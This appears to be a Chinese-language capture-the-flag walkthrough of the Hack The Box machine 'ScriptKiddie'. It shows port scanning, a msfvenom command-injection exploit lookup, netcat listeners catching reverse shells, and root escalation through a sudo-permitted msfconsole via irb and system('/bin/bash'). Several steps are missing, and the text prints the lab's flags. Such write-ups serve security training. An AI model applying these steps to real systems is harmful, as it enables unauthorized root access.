┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.226 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-24 09:36 CST Nmap scan report for 10.10.10.226 Host is up (0.30s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) |_http-server-header: Werkzeug/0.16.1 Python/3.8.5 |_http-title: k1d'5 h4ck3r t00l5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
4、访问 5000端口发现是一个msf的辅助使用界面
5、通过尝试,发现 ping 功能和searchsploit功能,均无法执行命令
6、不过通过sploits 功能处,检索到 msfvenom 一个版本的漏洞信息
1 2 3 4 5 6 7
------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------ --------------------------------- Metasploit Framework 6.0.11 - msfvenom APK template command injection | multiple/local/49491.py ------------------------------------ --------------------------------- Shellcodes: No Results Papers: No Results
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.10.226] 43882 bash: cannot set terminal process group (894): Inappropriate ioctl for device bash: no job control in this shell kid@scriptkiddie:~/html$ id id uid=1000(kid) gid=1000(kid) groups=1000(kid) kid@scriptkiddie:~/html$
kid@scriptkiddie:~/html$ ls ls __pycache__ app.py static templates kid@scriptkiddie:~/html$ ls -la /home/ ls -la /home/ total 16 drwxr-xr-x 4 root root 4096 Feb 3 2021 . drwxr-xr-x 20 root root 4096 Feb 3 2021 .. drwxr-xr-x 11 kid kid 4096 Feb 3 2021 kid drwxr-xr-x 6 pwn pwn 4096 Feb 3 2021 pwn kid@scriptkiddie:~/html$ ls -la /home/kid/ ls -la /home/kid/ total 60 drwxr-xr-x 11 kid kid 4096 Feb 3 2021 . drwxr-xr-x 4 root root 4096 Feb 3 2021 .. lrwxrwxrwx 1 root kid 9 Jan 5 2021 .bash_history -> /dev/null -rw-r--r-- 1 kid kid 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 kid kid 3771 Feb 25 2020 .bashrc drwxrwxr-x 3 kid kid 4096 Feb 3 2021 .bundle drwx------ 2 kid kid 4096 Feb 3 2021 .cache drwx------ 4 kid kid 4096 Feb 3 2021 .gnupg drwxrwxr-x 3 kid kid 4096 Feb 3 2021 .local drwxr-xr-x 9 kid kid 4096 Feb 3 2021 .msf4 -rw-r--r-- 1 kid kid 807 Feb 25 2020 .profile drwx------ 2 kid kid 4096 Feb 10 2021 .ssh -rw-r--r-- 1 kid kid 0 Jan 5 2021 .sudo_as_admin_successful drwxrwxr-x 5 kid kid 4096 Feb 3 2021 html drwxrwxrwx 2 kid kid 4096 Feb 3 2021 logs drwxr-xr-x 3 kid kid 4096 Feb 3 2021 snap -r-------- 1 kid kid 33 Dec 24 01:35 user.txt kid@scriptkiddie:~/html$ cat /home/kid/user.txt cat /home/kid/user.txt b5ff36031c788d02d4253281be9cc233
0x02 系统权限获取
12、通过查看sudo -l 发现,我们并没有当前权限
1 2 3 4
kid@scriptkiddie:~/html$ sudo -l sudo -l sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper kid@scriptkiddie:~/html$
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 10086 listening on [any] 10086 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.10.226] 57008 bash: cannot set terminal process group (868): Inappropriate ioctl for device bash: no job control in this shell pwn@scriptkiddie:~$ id id uid=1001(pwn) gid=1001(pwn) groups=1001(pwn) pwn@scriptkiddie:~$ sudo -l sudo -l Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole pwn@scriptkiddie:~$
Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again
stty: 'standard input': Inappropriate ioctl for device stty: 'standard input': Inappropriate ioctl for device stty: 'standard input': Inappropriate ioctl for device stty: 'standard input': Inappropriate ioctl for device stty: 'standard input': Inappropriate ioctl for device stty: 'standard input': Inappropriate ioctl for device stty: 'standard input': Inappropriate ioctl for device msf6 > irb stty: 'standard input': Inappropriate ioctl for device [*] Starting IRB shell... [*] You are in the "framework" object
system("/bin/bash") Switch to inspect mode. irb: warn: can't alias jobs from irb_jobs. >> >> system("/bin/bash") id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt e87e72d245999bb267a776496513cf29